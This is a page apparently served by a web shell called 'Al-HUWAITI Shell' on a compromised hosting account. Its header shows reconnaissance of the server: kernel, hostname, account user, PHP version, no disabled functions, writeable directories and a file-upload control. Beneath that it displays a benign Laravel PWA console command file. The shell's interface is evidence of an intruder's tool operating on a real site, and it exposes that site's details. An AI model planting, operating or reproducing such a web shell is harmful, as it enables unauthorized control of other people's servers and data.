Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux server335.web-hosting.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User : cardxfeb ( 2452)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /home/cardxfeb/public_html/vendor/ladumor/laravel-pwa/src/commands/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/cardxfeb/public_html/vendor/ladumor/laravel-pwa/src/commands/PublishPWA.php
<?php

namespace Ladumor\LaravelPwa\commands;

use Illuminate\Support\Facades\File;
use Illuminate\Console\Command;

class PublishPWA extends Command
{
    /**
     * The console command name.
     *
     * @var string
     */
    protected $name = 'laravel-pwa:publish';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'Publish Service Worker|Offline HTMl|manifest file for PWA application.';

    public $composer;

    /**
     * Create a new command instance.
     */
    public function __construct()
    {
        parent::__construct();

        $this->composer = app()['composer'];
    }

    public function handle()
    {
        $publicDir = public_path();

        $manifestTemplate = file_get_contents(__DIR__ . '/../stubs/manifest.stub');
        $this->createFile($publicDir . DIRECTORY_SEPARATOR, 'manifest.json', $manifestTemplate);
        $this->info('manifest.json file is published.');

        $offlineHtmlTemplate = file_get_contents(__DIR__ . '/../stubs/offline.stub');
        $this->createFile($publicDir . DIRECTORY_SEPARATOR, 'offline.html', $offlineHtmlTemplate);
        $this->info('offline.html file is published.');

        $swTemplate = file_get_contents(__DIR__ . '/../stubs/sw.stub');
        $this->createFile($publicDir . DIRECTORY_SEPARATOR, 'sw.js', $swTemplate);
        $this->info('sw.js (Service Worker) file is published.');

        $logoPath = $publicDir . DIRECTORY_SEPARATOR . 'logo.png';
        if (!file_exists($logoPath)) {
            if (copy(__DIR__ . '/../stubs/logo.png', $logoPath)) {
                $this->info('Default logo published.');
            }
        }

        $this->info('Generating autoload files');
        $this->composer->dumpOptimized();

        $this->info('Greeting!.. Enjoy PWA site...');
    }

    public static function createFile($path, $fileName, $contents)
    {
        if (!file_exists($path)) {
            mkdir($path, 0755, true);
        }

        $path = $path . $fileName;

        file_put_contents($path, $contents);
    }
}

Al-HUWAITI Shell